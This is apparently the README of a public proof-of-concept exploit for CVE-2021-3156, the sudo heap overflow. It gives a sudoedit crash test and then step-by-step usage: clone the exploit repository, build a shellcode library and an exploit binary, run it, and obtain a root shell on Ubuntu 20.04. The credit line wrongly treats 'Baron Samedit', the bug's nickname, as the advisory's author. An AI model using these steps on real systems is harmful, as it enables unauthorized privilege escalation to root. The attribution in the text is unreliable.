CVE-2021-3156

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via sudoedit -s and a command-line argument that ends with a single backslash character.

Credit to: Advisory by Baron Samedit of Qualys

How to check if you are affected.

The sudo project released a command that allows you to test whether your version of sudo is vulnerable:

sudoedit -s '\' `perl -e 'print "A" x 65536'`

If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable.

Usage

Root shell PoC for CVE-2021-3156 (no bruteforce) Tested on Ubuntu 20.04 (sudo 1.8.31)

$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root